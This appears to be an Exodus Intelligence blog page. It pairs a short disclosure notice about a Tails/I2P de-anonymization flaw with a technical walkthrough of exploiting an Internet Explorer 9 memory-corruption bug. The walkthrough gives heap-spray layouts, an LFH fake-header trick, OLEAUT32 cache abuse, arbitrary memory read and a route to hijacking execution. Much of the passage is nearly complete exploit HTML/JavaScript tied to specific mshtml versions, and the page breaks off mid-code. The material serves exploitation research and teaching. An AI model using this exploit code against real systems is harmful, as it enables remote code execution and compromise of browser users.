Disclosure of vulnerabilities takes many forms, particularly their shape is adapted to the landscape that the platform is used upon. In the past at Exodus Intelligence, we’ve felt that significant vulnerabilities have been disregarded and have not had the requisite exposure. Through appropriate airing of the issue, we feel that users of such security platforms may come to understand the risks in base-level trust. Even further we hope to break the mold of unconditional trust in a platform. Users should question the tools they use, they should go even further to understand the underlying mechanisms that interlock to grant them security. It’s not enough to have faith upon security, rather to have an understanding of it. If the public thinks Exodus is one of a few entities finding bugs in software, they are grossly misinformed. As is the case with all vulnerabilities we report to vendors, we do not ask for any remuneration. All flaws that we give to vendors are given free of charge. All accusations of extortion perpetuated by those unfamiliar with our business model are completely unfounded. As of publication of this blog post the Tails team and the I2P team have both received all the relevant details and exploit code they require to remediate the vulnerabilities we’ve discovered.

Recently a high profile talk on de-anonymization Tor users was pulled from Blackhat due to legal issues. Their talk outlined with a budget of $3000 with some powerful servers and multiple gigabit links they were able to de-anonymize hundreds of thousands of users in ‘a couple of months’. Exodus decided to pick up where this talk left off by letting the community know that there are many other vectors for de-anonymization. The vulnerability we have found is able to perform remote code execution with a specially crafted payload. This payload can be customized to unmask a user and show the public IP address in which the user connected from within ‘a couple of seconds’.

Stay Tuned

Part two of this blog post will present a technical discussion of the vulnerability. This will be posted once we have confirmed the vulnerabilities in I2P are patched and have been incorporated into Tails.

A browser is only as strong as its weakest byte – Part 2

As promised, the follow up from our previous post.

Before Thanksgiving we left off with IE9 coughing up bytes. We’ll poke it some more today and make it do a little dance for us.
Last week we managed to trick IE9 into doing an INC[ADDRESS] for us where we could specify the address. Now it is time to see how much damage we can do with just that. Since we’ll operate under the assumption that everything in the process is ASLR’d the first thing to do to is come up with a way to predict a fixed address we can safely increment. The easiest way to do that will be using an aligned heapspray. In case you’re not familiar with heapspraying, especially heap spraying in Internet Explorer, below is a quick breakdown of the basics of a heapspray.

Throughout this post I will add background information where needed, those sections will be in a grey block so you can skip then if you already know enough about the topic.

Heap Spray

The idea of heapspraying is nothing more than spraying the heap to be able predict the address of memory with known contents… no surprises there. The plan is to allocate a lot of memory in the process so we can safely write/inc a piece of memory that otherwise might not be occupied. However, since we only have a single shot we need to make sure that we can actually manipulate something useful. To do this we need to look a little closer at the way Internet Explorer and Windows 7 manage allocation. It is pretty easy to fill up your process memory with data, but we need to be able to get some reliability into it. And it turns out we can actually do that. Let me show you a sample log file of some allocation of different sizes.

------------- Creating allocations of different sizes
alloc(0x1000) = 0x00e99290
alloc(0x1000) = 0x00e9a298
alloc(0x1000) = 0x00e9b2a0
alloc(0x8000) = 0x00e9c2a8
alloc(0x8000) = 0x00ea42b0
alloc(0x8000) = 0x00eac2b8
alloc(0x10000) = 0x00eb42c0
alloc(0x10000) = 0x068b1fe8
alloc(0x10000) = 0x068c1ff0
alloc(0x80000) = 0x028d0020
alloc(0x80000) = 0x031e0020
alloc(0x80000) = 0x04c10020
------------- All done

You might see a pattern emerging. The first 3 sizes all seem to be at a random addresses, but the last 3 allocations of size 0x80000 all end at 0020. As it turns out, if you make an allocation of (almost) 0x80000 the underlying memory manager will align this to start at a new page. The 0020 is the size of the heap header. If you are testing this with a debugger make sure you disable the debugheap ( -hd flag for windbg commandline) otherwise the header will be 0x30 in size.
If we take the heap header size into account we can actually do the following:

alloc(0x7ffe0) = 0x02cf0020
alloc(0x7ffe0) = 0x04cf0020
alloc(0x7ffe0) = 0x05230020
alloc(0x7ffe0) = 0x06ed0020
alloc(0x7ffe0) = 0x07050020
alloc(0x7ffe0) = 0x070d0020
alloc(0x7ffe0) = 0x07150020
alloc(0x7ffe0) = 0x071d0020

A quick calculation shows that the last 3 allocations are following neatly upon each other creating a uninterrupted stream of bytes under our control.
Since every allocation starts at 0xXXXX0020 even if we do not know the exact starting address of an allocation we can still fill it with a pattern that repeats itself every 0x10000 byte and be confident that at 0xXXXX0020 there is the beginning of our pattern. All we need to do is spray a bunch of allocation and then pick an address that is most likely to be filled with our data, we need to aim a little high to make sure the address is not already used by other IE related data, but not too high so we need too spray too much. I usually use 0x12010020 but you can pick your own.

Alright, back to the matter at hand, we’re going to spray the living daylight out of our process to obtain a safe address to INCrement. The question is: what are we going to spray? If we spray a big string of ‘A’s all we will manage to do is turn one of our ‘A’s into an ‘B’. Not very useful. We need to be able to make a 0x80000 allocation riddled with useful data: pointers, flags, sizes or anything other than just strings data. It has to be a single allocation of 0x80000 or more for it to be properly aligned.

I’m pretty sure there are other options but I ended up using element attributes. If you’re unfamiliar with the way Element Attributes are stored I suggest reading the following section, otherwise skip right ahead.

Element Attributes

We’ll be using element attributes to spray the heap with. Attributes are neat since they contain a lot of interesting data to play with. I’m not the first one to so, Nicolas Joly from Vupen wrote a nice exploit a while ago abusing the way element attributes are stored internally to bypass ASLR and DEP. Let me explain a little bit how the attributes for an element are being stored internally, you can either read it here or on Vupens blog, the information is the same.
When an element has attributes it contains an pointer to a 0x10 sized allocation that contains the number of attributes the element has and a pointer to the actual attribute array.

Every attribute in the table uses 0x10 bytes of memory.
The first DWord contains a set of flags that among other describe the Variant Type of the following data, it also determines if the 2nd dword is a hash value or a pointer to a structure.
The 2nd DWord is either a hashvalue of the name, or a pointer to a structure that contains additional information
The 3rd and 4th DWord are the value of the attribute either directly (In case of, for example Integer values) or a pointer to the value (for example for strings and objects)

The size of the array will grow when more room is needed for additional attributes. It starts off with enough room for 4 attributes, 0x40 bytes in size. Everytime it runs out of space it will add enough room to hold an additional 50% more aatribute, rounded down if needed. So it will grow from 0x40 to 0x60, 0x90, 0xD0 and so on. However as Nicolas Joly from Vupen figured out, if you clone an element containing X attributes the new element will have an attribute array that is precisely big enough to hold X attributes. This can be used to create allocations that are 0x7ffe0 in size, by cloning an element that contains 0x7ffe attributes.

Vupen already showed that the VariantType of an attribute is a prime candidate to have some fun with. However, to my knowledge it is not possible to create all the different variant types with javascript. As such the potential changes we can make are somewhat limited. I have highlighted the variant types I was able to produce using various values for attributes. I might have missed some of course.

  • VT_EMPTY = 0x0000,
  • VT_NULL = 0x0001,
  • VT_I2 = 0x0002,
  • VT_I4 = 0x0003,
  • VT_R4 = 0x0004,
  • VT_R8 = 0x0005,
  • VT_CY = 0x0006,
  • VT_DATE = 0x0007,
  • VT_BSTR = 0x0008,
  • VT_DISPATCH = 0x0009,
  • VT_ERROR = 0x000A,
  • VT_BOOL = 0x000B,
  • VT_VARIANT = 0x000C,
  • VT_UNKNOWN = 0x000D,
  • VT_DECIMAL = 0x000E,
  • VT_I1 = 0x0010,
  • VT_UI1 = 0x0011,
  • VT_UI2 = 0x0012,
  • VT_UI4 = 0x0013,
  • VT_I8 = 0x0014,
  • VT_UI8 = 0x0015,
  • VT_INT = 0x0016,
  • VT_UINT = 0x0017,
  • VT_VOID = 0x0018,
  • VT_HRESULT = 0x0019,
  • VT_PTR = 0x001A,
  • VT_SAFEARRAY = 0x001B,
  • VT_CARRAY = 0x001C,
  • VT_USERDEFINED = 0x001D,
  • VT_LPSTR = 0x001E,
  • VT_LPWSTR = 0x001F,
  • VT_RECORD = 0x0024,
  • VT_INT_PTR = 0x0025,
  • VT_UINT_PTR = 0x0026,
  • VT_ARRAY = 0x2000,
  • VT_BYREF = 0x4000

If you look at this list there isn’t a very likely candidate that will give you memory disclosure when you increase the VariantType by one. That statement isnt completely true, but we’ll revisit that later. But you need to keep in mind that the value for the original Variant Type should lead to something useful for VariantType + 1 without changing the value.

We will spray the heap with a bunch of AttributeArrays containing 0x7FFE elements, every 0x1000th element we will set and the rest we leave ‘null’ which makes it a lot faster to clone them. By setting every 0x1000th attribute we create our repeating pattern and should be able to reliably change attribute data.

The next question is: what are we going to change? I thought about this for a while and tried a few different things and I wont list all the potential tests and reasons why they failed but go straight to something that did work.

As I said, I looked at a few options and decided to change string pointer. We can get a BString pointer in the attribute table by issuing the following line of javascript

elmement.setAttribute('test', 'aaaaaaaaaa');

A BString, variant type 0x08 is a string type that is used in a lot of places that use strings in Internet Explorer. The internal representation of the string is a 4 byte string length, followed by the actual (wide character) string data and a (wide char) null termination. A pointer to a BString points to the start of the data, not the size field. I tried to make this visual in the image below.


If we increase the Value Pointer inside the Attribute array we can move the pointer to the String Data by 1, which is not very useful. Doing that gives you 2 options

  1. If the first byte of your string data is 0x00 you decrease the string length, making it smaller than before
  2. If the first byte of your string data is not 0x00 you end up with a string length between 0x01000000 and 0xFFFFFFFF (theoretically). This however is too big and you wont be able to read back the string into javascript. Also, you’d need a huge piece of contiguous memory behind the string so you don’t crash when reading it back

But, we are not limited by increasing the Value pointer by just 1 byte. If we ignore the normal 4 byte alignment of our data, we can actually increase the value by 0x100, 0x10000 or 0x1000000. The last two options do might be harder to work with, but increasing the pointer to our BString Attribute value by 0x100 looks interesting. Lets see what we can do with that. We do not know what the actual address of our BString will be, but, on Windows7, we can wrestle the heap into a very predictable state by using the way the Low Fragmentation Heap allocates memory. Time for a little bit more background information on the Low Fragmentation Heap (LFH from now on)

Low Fragmentation Heap

First of all, I highly recommend reading Understanding the Low Fragmentation Heap by Chris Valasek who goes into the nitty-gritty details of the LFH on Windows 7.
The main thing you need to know about that LFH is that it is very predictable in the way it allocates memory. At least it is on Windows 7, Windows 8 is another story thanks to mr Matt Miller who introduced randomness into the allocation routines (Thanks 🙁 ). Anyways, back to windows 7 and the predictability. First of all the LFH will handle incoming allocation requests based on its size. Allocations are grouped per 0x8 bytes, each group gets its own bucket assigned. Once the Heap allocater decides to use the LFH from a certain allocation size all allocation in that group will be server from the bucket created for that group, and a new bucket will be created once the original bucket is full.

The bucket is a contiguous piece of memory capable of holding a certain amount of user blocks. User Blocks are the final pieces of memory that your program actually works with. Those User Blocks are returned in a linear fashion in Windows 7.

The User Blocks are preceded by a 0x8 byte block header that we will abuse later in this blog. When a piece of memory is freed it will be available again for the next allocation of the same size (mod 8 byte). Since the allocation are handed out linearly it is pretty easy to manipulate the heap into putting allocations in the exact order that you want and need for exploitation. Pretty neat and useful.

By using the powers invested to us by the LFH we can manipulate the heap state to have some useful data follow our BString Attribute. We can then increase the pointer to the BString in our attribute table by 0x100 effectively moving the BString into the next allocation (if we choose the right size etc). I went with a BString size of 0x8A. The reason for that is multiple:

  1. BString size 0x8A occupies 0x90 bytes of memory (add 0x4 for Size and 0x2 for u0000)
  2. 0x90 + 0x100 lands in the next allocation with a few bytes to spare
  3. The way attribute tables grow (see a few paragraphs back) 0x90 is a size the attribute array will reach when growing

So the plan is to move a BString pointer inside an attribute table by 0x100, this can be achieved by asking the process to do an INC[AttributeValue1 + 1] where AttributeValue1 points inside our Attribute heapspray and contains a pointer to a BString contained in a memory block of size 0x90. Due to the predictable allocation base of a huge attribute table we can predict at what address in memory a pointer the the BString will be available. We dont know which pointer it is, or what the value is, but that doesnt matter.
The memory right after the BString will contain an attribute table containing 0x9 Attributes and thus also occupying 0x90 bytes (which is why they fit next to each other).

If do a calculation based on this setup we’ll see the following result. Assuming, for sake of easy calculation, that our Bucket serving allocations of size 0x90 starts at offset 0x00000000:
0x00000000 Start of 8 byte Block Header for allocation 1 (string)
0x00000008 DWord Size of the String
0x0000000C Start of our String Data
0x00000096 Terminating 0000 for our string
0x00000098 Start of 8 byte block header for allocation 2 (attribute table)
0x000000A0 Start of Attribute Table Data
0x00000130 Start of 8 byte block header for allocation 3 (string)

The Attribute table will have the value 0x0000000C as a pointer to our BString object. We can change that to 0x0000010C. This falls right into the Attribute table data. Attributes take up 0x10 bytes of memory so 0x10C – 0xA0 (start of table) == 0x6C. So the pointer of the BString will point into the 7th Attribute. Since the size of the BString is located at BString – 4 the size will now be at offset 0x8 of the 7th attribute in the table.

This is perfect since we can have full control over that value. We also have enough room to leak some information from the attribute table.
This might sound a little confusing so I’m going to try and add an image to explain it visually. The size of the string after we ‘adjusted’ the pointer to it must be reasonable which is why it is important that we can control this and not just point it at random memory.

In this very well made image, the grey fields are memory containing Heap Header information, the Yellow block is the size for the String Data. The black arrow was suposed to point nicely to the beginning of the string data but I managed to mess that up. The red line is our ‘new’ pointer after we INCremented it and it now points in the middle of the next allocation.

Now, a nice thing about attributes is that there are ‘default’ attributes for certain objects, which is useful because it means the Attribute Table will contain a pointer to a structure in mshtml.dll for those attributes. A drawback is that those attributes always ‘float to the top’ of the attribute table when you add them so we’ll need to find an object that has at least 8 default attributes so that we can leak an address inside mshtml.dll.
A good candidate is a body element. This element has at least 9 default attributes and allows us enough flexibility to set the BString size to be reasonable, leak an address from mshtml and even some more information on heap allocations.

So the plan is:

  1. Before triggering the crash we create an element with an attribute table containing 0x7FFE elements
  2. Clone this element a few times to create 0x800000 size attribute tables that are nicely aligned in memory
  3. Loop over the cloned elements and:
    1. Set every 0x1000th element to be a string size 0x8A
    2. Create a body element and add 9 default attributes
    3. We now have the heap set up in a way that strings and attribute tables are following each other in memory
  4. Trigger the vulnerability increasing the BString pointer in the attribute heapspray by 0x100
  5. The process shouldn’t crash and we can continue with our javascript
  6. Loop over all the cloned elements and read back every 0x1000th attribute
  7. Find find the string that is not 0x8A in length (actually 0x8A/2 due to wide characters being used)
  8. The string data found contains pointers to mshtml.dll and some additional information
  9. Step one, memory leak has been accomplished!

The resulting HTML code looks like this:

<!doctype html>

      lfh = new Array(20);
      for(i = 0; i < lfh.length; i++) {
        lfh[i] = document.createElement('div');

      function setinput() {
        try { document.write('Timber'); } catch(e) {}

        // I used 2 area element to make sure we reoccupy freed memory (there is a reason behind this that doesnt fit on this page)
        d = document.createElement('area');
        d.shape = "poly"
        // Our BString pointer is located at: 0x12010020 + 0x8
        // We want to INCrement 0x12010020 + 0x8 + 1  to add 0x100 and not 0x1
        // The code does: inc     dword ptr [esi+0A0h]   so we need to substract 0xAO from the values leaving 0x1200FF89 which is 302055305 decimal
        d.coords = "1,2,302055305,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48";
        d2 = document.createElement('area');
        d2.shape = "poly"
        d2.coords = "1,2,302055305,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48";

        a = document.createElement("div");

        //Step 1
        for(i = 0; i < 0x7ffe; i++) {
            a.setAttribute("attr" + i, null);
        mem = new Array(400);
        // Step 2
        for(i = 0; i < mem.length; i++) {
          mem[i] = a.cloneNode(1);

        bodies = new Array()
        // Step 3
        for(j = 0; j < mem.length; j++) {
          for(i = 0; i < 0x7ffe; i += 0x1000) {
            // Step 3.1
            // Step 3.2
            b = document.createElement('body');
            b.title = 'a';
            b.id = 'a';
            b.text = 'a'
            b.bgColor = 1
            b.topMargin = 1
            b.bottomMargin = 1
            b.leftMargin = 1
            b.rightMargin = 4
            b.setAttribute('ropchain', bodies.length)  // This will actualy give us the index of the body element we are leaking.
        // Saving the attributes so Garbage Collection wont kill them accidentally
        document.body.setAttribute('mem', mem)
        document.body.setAttribute('bodies', bodies)
        return true

      function loaded() {
        document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput)
        // Step 4

        // Step 6
        for(j = 0; j < mem.length; j++) {
          for(i = 0; i < 0x7ffe ; i += 0x1000) {
            //Step 7
            if(mem[j].getAttribute("attr" + i).length != 0x45) {
              //Step 9
              LeakInfo = "Size of the attribute is = " + data.length + "n";
              LeakInfo += "Raw data: n"
              LeakInfo += escape(data) + "nn";
              mshtmlAddress = data.charCodeAt(4) + data.charCodeAt(5) * 0x10000
              LeakInfo += "Address of mshtml code is 0x" + mshtmlAddress.toString(16) + "n";
              bodyindex = data.charCodeAt(14) + data.charCodeAt(15) * 0x10000
              LeakInfo += "Index of the leaked body = 0x" + bodyindex.toString(16);
  <body onload="loaded();">
    <input value="mydata" type="text"></input>

This should give you the following alert box
You might wonder how we end up with a string size of 50. The reason behind this is that the attribute value for ‘leftMargin’ is what is being used as the size of the string and for some reason the value ‘1’ is actually saved as ‘100’ (decimal). I didn’t care enough to dig into why it does that since it is sufficient for our goal.

If you read the source code you see that I also add the index of the leaked body element in the ‘bodies’ array so we know exactly which body element attribute table we managed to leak.

So step 1 of our exploit has been achieved, we have leaked an address from mshtml.dll back into our javascript that we can then use to bypass ASLR. This is not ideal since mshtml.dll changes quite frequently and we don’t want to contentiously update our ROP chain to account for those changes. It would be ideal if we could leak arbitrary memory from this point on and make our ROP chain more reliable. We also still need a way to actually take control over the flow of execution of the program since all we have done so far is leak some memory.

You might think we can just change the value of our misaligned string attribute causing it to (partially) overwrite the body attribute table it points to, and this is true, but not as straight forward as you might think. Lets just try it and see what happens. After showing the alert box containing the leaked information we add a single javascript line to change the value of the attribute:


Running this will generate the following crash

Critical error detected c0000374
(59c.ab4): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=77250b0a edx=0316c4b5 esi=006b0000 edi=0585aaf0
eip=772ae695 esp=0316c708 ebp=0316c780 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
772ae695 cc              int     3
1:019> k
ChildEBP RetAddr
0316c780 772af5c9 ntdll!RtlReportCriticalFailure+0x29
0316c790 772af6a9 ntdll!RtlpReportHeapFailure+0x21
0316c7c4 772af912 ntdll!RtlpLogHeapFailure+0xa1
0316c81c 7726aba7 ntdll!RtlpAnalyzeHeapFailure+0x25b
0316c910 77213492 ntdll!RtlpFreeHeap+0xc6
0316c930 74c56e6a ntdll!RtlFreeHeap+0x142
0316c944 7500449b ole32!CRetailMalloc_Free+0x1c [d:w7rtmcomole32comclassmemapi.cxx @ 687]
0316c968 75003ea3 OLEAUT32!APP_DATA::FreeCachedMem+0xc1
0316c984 71a7c73b OLEAUT32!SysFreeString+0x6b
0316c990 71a7be2f MSHTML!CAttrValue::Free+0x61
0316c9b4 71a7bdc3 MSHTML!CAttrArray::SetAt+0x61
0316c9c8 71a7be4b MSHTML!CAttrArray::SetAt+0x38
0316ca00 719e1c4c MSHTML!CBase::InvokeAA+0x273
0316ca90 719cedb8 MSHTML!CElement::ie9_setAttributeNSInternal+0x380
0316cac4 719ced22 MSHTML!CElement::ie9_setAttribute+0x68
0316cb10 712385fe MSHTML!CFastDOM::CElement::Trampoline_setAttribute+0xc0
1:019> dd 0316c930
0316c930  0316c944 74c56e6a 006b0000 00000000
0316c940  0585aaf8 0316c968 7500449b 74d466bc
1:019> dc 0585aaf8
0585aaf8  00000064 00000009 00011400 71c629e0  d............).q
0585ab08  00010000 3f800000 80000301 002e46bf  .......?.....F..
0585ab18  00000c19 007310d8 3fc0c281 88000000  ......s....?....
0585ab28  0000008a 00410041 00410041 00410041  ....A.A.A.A.A.A.
0585ab38  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.

So what is happening here? Well, when you set an attribute that already exists mshtml will simply delete the existing value and then set a new value (actually, it will first add the new value and then delete the old one I believe). So we and up calling ntdll!RtlFreeHeap with an address that is not an actual heap allocation, it is an allocation but not the start of an allocation and thus it fails to free the address. Is this the end of the line? No, luckily the world has people like Ben Hawkes and Chris Valasek who do all the hard work for us and reversed most of the LFH allocation and free routines. As it turns out we can us a small variation on Ben Hawkes SegmentOffset technique to trick ntdll into accepting our misaligned address as a legit address and allowing it to be freed. To understand this we need to look a little bit closer at the Block Header that precedes an userblock (allocation).

LFH Allocations (user blocks) are preceded by an 8 byte allocation containing some information on the state of the user block, its size and such. By looking at the RtlpLowFragHeapFree it looks like the first DWord is used to determine the size of a block, but it is encoded. The address of the _HEAP, the allocation itself and ntdll!RtlpLFHKey are XOR against each other to determine this value.
The 2nd DWord contains a few flags, but those fields might differ based on the state the heap block is in. Luckily the only bytes we are interested in are the last two bytes. Ben Hawkes determined that there was a special value for the last byte that, if set to 0x5, let ntdll move the heap header back by an amount determined by the second to last byte. A quick look at the code that does this in ntdll!RtlpLowFragHeapFree shows that that is indeed to case:


edi is our original HeapHeader (comming from edx – 8, with edx being the address we want to free). If the value of byte [edi+7] equals 0x5 then we grab the byte at [edi+6] multiply this by the block size (8 incase of 32 bits process, done through ‘shl eax, 3’) and back up the heap header by that amount: sub edi, eax;
It will then use the ‘new’ heap header for processing the rest of the function, including any encoded data.

So the plan is: add a fake HeapHeader in front of our String, set the value of byte 8 to 0x5 and the value of byte 7 such that it will point to a correct Heap Header. If you remember our calculation from a little while back, we determined that the BString pointer in the attribute heap spray pointed at offset 0x6C into the body attribute table. The actual allocation starts at 0x68 into the allocation. The Heap Header for this block is located 0x68/8 = 0xD blocks in front of our allocation.

The only problem is that in the current situation, with the BString pointing in the middle of an Attribute Array we cannot control the values of the fake Heap Header. But that is not a big issue, we can free the Attribute Array and replace it with something that does give us enough control. All we need to do is add one more attribute to the correct body element resulting in the attribute array being too small and expanding to 0xD0 bytes, leaving our 0x90 original allocation up for grabs again.

We’ll add another area element, set the coords property to have the correct values for the fake LFH and then delete the misaligned string. At this point we have two options to continue, each of which has its own challenges. The reason we have two options is that the strings used for the attributes are allocated using OLEAUT32!SysAllocString and as Alexander Sotirov described in his Heap Fengshui paper, the OLEAUT32 has an internal caching system.

What does this mean for us? Well, as I mentioned, we have two options.

  1. Let the freed (misaligned) memory allocation be added to the cache for re-use. This will allow us to do a partial overwrite of a legit allocation
  2. Let the freed address be freed by filling the cache. This allows us to free this address multiple times since we have another pointer pointing to it (the .coords property)

Both steps require some preparation, and I will mainly focus on the first option since I think that’s the funnier of the two. What I do want to point out is that if you prefer to take route two you need to consider the following things:

  • You need to fill the OLEAUT32 cache before free-ing the attribute (see Alex’s paper), this will force it to call ntdll!RtlFreeHeap() on the misaligned address
  • RtlFreeHeap() requires you to set the first DWord of the fake heap to either 0x1, 0x2 or 0x3 to safely call a legit ‘RtlpInterceptorRoutines’ routine and actually free the address
  • Once the memory is freed you can fill it again with whatever you want
  • By using ‘FakeLFH.coords = null;’ you can Free the memory again, effectively removing the object or whatever you put there is the previous step

But, for shits and giggles, we’ll opt for the first option. The steps that we need to set before this can work are

  1. Create a Fake LFH Header with the .coords property
  2. Clean out the OLEAUT32 cache, using Sotirov’s ‘plunger’ technique
  3. Free the misaligned string. Since the cache is empty OLEAUT32 adds this address to the cache
  4. Replace the area.coords with something you want to (partially) overwrite
  5. Allocate a string of the right size which will re-use the cache (misaligned) address from the OLEAUT32 cache
  6. Win??

Quick note: even when you want OleAut32 to cache the address and wont let it go through RtlFreeHeap you still need a fake LFH Header because oleaut32 will call ntdll!RtlSizeHeap which uses the LFH Header to determine the size of the allocation.

So what object/data are we going to partially overwrite? Since we were having so much fun with attribute tables, I decided to overwrite part of an attribute table, which should give us enough control to read any address and call any function, if we play it right. Theoretically we can keep replacing the memory by repeating the steps listed above, but there is always the slight risk of messing up when you make that many allocations and frees. So what we’ll do is overwrite the attribute table with data that sets one of its attribute to be of type 0xC, this is a VariantType, and add a pointer to memory that we control. Once we have done that we no longer need to alter the original Attribute Array but we can just alter the memory the Variant points to and set this to whatever we want.

So we’re looking for a piece of memory of roughly 0x10 bytes (thats how much we need to store a Variant Variant), that we can manipulate without additional memory allocations and frees. There are many answers to this question, but the one I’ll be using is an AnchorElement (‘‘). Just like the area element this element has a property ‘coords’, but it only takes 4 values and stores them inside the object data. If we alter the coords value of an AnchorElement no additional allocations and or frees will happen and 4 coord values take up 0x10 bytes so that fits perfectly.

How do we know where we can find an ‘A’ element in memory you might ask? Simple, we add it to the body element attribute table that we leak. This will give us the heap address of an ‘A’ element and that is enough information to know where the coords values are in memory (offset 0x50 from the base of the ‘A’ element in the version of mshtml we are playing with). There are some limitations to using this, mainly the fact that it will ‘sort’ the coords you give it on size, but since we only really need to first and the third value and the first value (describing the VariantType) can be as low as 0x0001XXXX we can read any memory above that value.

By setting the fake variant type to be an Integer and setting the flag for ‘VariantByRef (0x40)’ we can read Integers from the address we specify in the third coord value. You can probably read while arrays of integers if you set everything right, but I didn’t care enough to figure that out. What you do need to remember is that the value returned to javascript is turned into a string, not a number so you need to call parseInt() on it before you can use it as an actual number.

We know the hashvalue of the attribute name by reading it back from the Leaked Info.

The combination of the leaked address from mshtml.dll and the possibility to read any memory address you want allows us to find the actual start of mshtml.dll. We can do this by taking the leaked mshtml.dll address and doing an AND with 0xFFFF0000 and testing for “MZ” while substracting 0x10000 until we find it. Once you have the base address of mshtml.dll we can parse the PE file structure to get to the Import Table and grab the address of Kernel32.dll, Parse Kernel32.dll to get the address of ntdll.dll and that should be enough information to create a ROP Chain.

Now if you want Execution control after disclosing enough memory to bypass ASLR, the easy way is the set your fake variant attribute to be of type VT_DISPATCH (0x09), this will cause oleaut32 to call ExtractValueProperty when you attempt to read back the attribute. This function contains a virtual call that is taken from the data within your fake attribute, eax is our fake Variant.


Enough talking, time to tie it all together. The code below is a (almost) full working exploit created for mshtml version 9.0.8112.16446, kernel32 version 6.1.7601.17651 and ntdll version 6.1.7601.17725
Since you can disclose memory you can make this exploit work with other version of the modules, as long as the mshtml.dll doesnt contain the patch for this vulnerability.

<!doctype html>

      lfh = new Array(20);
      for(i = 0; i < lfh.length; i++) {
        lfh[i] = document.createElement('div');

      function setinput() {
        try { document.write('Timber'); } catch(e) {}

        // I used 2 area element to make sure we reoccupy freed memory (there is a reason behind this that doesnt fit on this page)
        d = document.createElement('area');
        d.shape = "poly"
        // Our BString pointer is located at: 0x12010020 + 0x8
        // We want to INCrement 0x12010020 + 0x8 + 1  to add 0x100 and not 0x1
        // The code does: inc     dword ptr [esi+0A0h]   so we need to substract 0xAO from the values leaving 0x1200FF89 which is 302055305 decimal
        d.coords = "1,2,302055305,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48";
        d2 = document.createElement('area');
        d2.shape = "poly"
        d2.coords = "1,2,302055305,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48";

        a = document.createElement("div");

        //Step 1
        for(i = 0; i < 0x7ffe; i++) {
            a.setAttribute("attr" + i, null);
        mem = new Array(400);
        // Step 2
        for(i = 0; i < mem.length; i++) {
          mem[i] = a.cloneNode(1);

        bodies = new Array()
        // Step 3
        for(j = 0; j < mem.length; j++) {
          for(i = 0; i < 0x7ffe; i += 0x1000) {
            // Step 3.1
            // Step 3.2
            b = document.createElement('body');
            b.title = 'a';
            b.id = 'a';
            b.text = 'a'
            b.bgColor = 1
            b.topMargin = 1
            b.bottomMargin = 1
            b.leftMargin = 1
            b.rightMargin = 4
            b.setAttribute('extra', bodies.length)  // This will actualy give us the index of the body element we are leaking.
        // Saving the attributes so Garbage Collection wont kill them accidentally
        document.body.setAttribute('mem', mem)
        document.body.setAttribute('bodies', bodies)
        return true

      function loaded() {
        document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput)
        // Step 4

        Found = false
        // Step 6
        for(j = 0; j < mem.length; j++) {
          for(i = 0; i < 0x7ffe ; i += 0x1000) {
            //Step 7
            if(mem[j].getAttribute("attr" + i).length != 0x45) {
              Found = true
              data = mem[j].getAttribute("attr" + i)
              //Step 9
              LeakInfo = "Size of the attribute is = " + data.length + "n";
              LeakInfo += "Raw data: n"
              LeakInfo += escape(data) + "nn";
              mshtmlAddress = data.charCodeAt(4) + data.charCodeAt(5) * 0x10000
              LeakInfo += "Address of mshtml code is 0x" + mshtmlAddress.toString(16) + "n";
              bodyindex = data.charCodeAt(14) + data.charCodeAt(15) * 0x10000
              LeakInfo += "Index of the leaked body = 0x" + bodyindex.toString(16);
              VariantAnchor = document.createElement('a');

              bodies[bodyindex].setAttribute('extra', VariantAnchor);

              data = mem[j].getAttribute("attr" + i)
              VariantAnchorAddress = data.charCodeAt(14) + data.charCodeAt(15) * 0x10000

              LeakInfo += "nHeap Address of the Anchor = 0x" + VariantAnchorAddress.toString(16);

              //Adding more attributes frees the 0x90 allocation since it now needs 0xD0 memory.
              bodies[bodyindex].setAttribute('beGone', 1);

              FakeLFH = document.createElement('area'); // to replace the now freed 0x90
              FakeLFH.shape = "poly"
              // Values set to contain a 'correct' LFH header at the right location
              FakeLFH.coords = "1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,84738048,26,27,28,29,30,31,32,33,34";

              //To keep the number of allocation between adding our misaligned address to the cache and re-using it we will do as much as possible at this point.
              AlteredBody = document.createElement('body');
              AlteredBody.title = 'a';
              AlteredBody.id = 'a';
              AlteredBody.text = 'a'
              AlteredBody.topMargin = 1
              AlteredBody.bottomMargin = 1
              AlteredBody.rightMargin = 1
              // We have 6 attributes, adding any more will make it jump to a 0x90 sized allocation

              //Get the address of our 'A' element as a string value, specifically offset 0x50 of the 'A' which contains the .coords values
              VariantAnchorAddressStr = String.fromCharCode((VariantAnchorAddress+0x50) % 0x10000, (VariantAnchorAddress+0x50) / 0x10000);

              //this will be: random + VariantType + 'extra' HashNo + Value + random + enough data
              //If you are smart you actually add the correct LFH Header between this and the next allocation you are actually overwriting.
              newdata = "AA" + "u0C01u8000" + data.charAt(12) + data.charAt(13) + VariantAnchorAddressStr + "u4242u4242AAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";

              //Allocating some small strings will re-use the potential cache leaving some room for our misaligned address to fit into the cache as well.
              //This is not the perfect way but it will suffice for this demo
              NumCached = 6;
              for(k = 0; k < NumCached; k++) {
                FakeLFH.setAttribute("cache" + k, new Array(0x40/2).join("A"));

              //Freeing this will add the misaligned address to the OLEAUT32 cache, but the address is still marked as busy in the heap manager
              mem[j].setAttribute("attr" + i, null)

              // This will make the 0x90 allocation available again
              FakeLFH.coords = null;

              //now we occupy a 0x90 sized allocation.
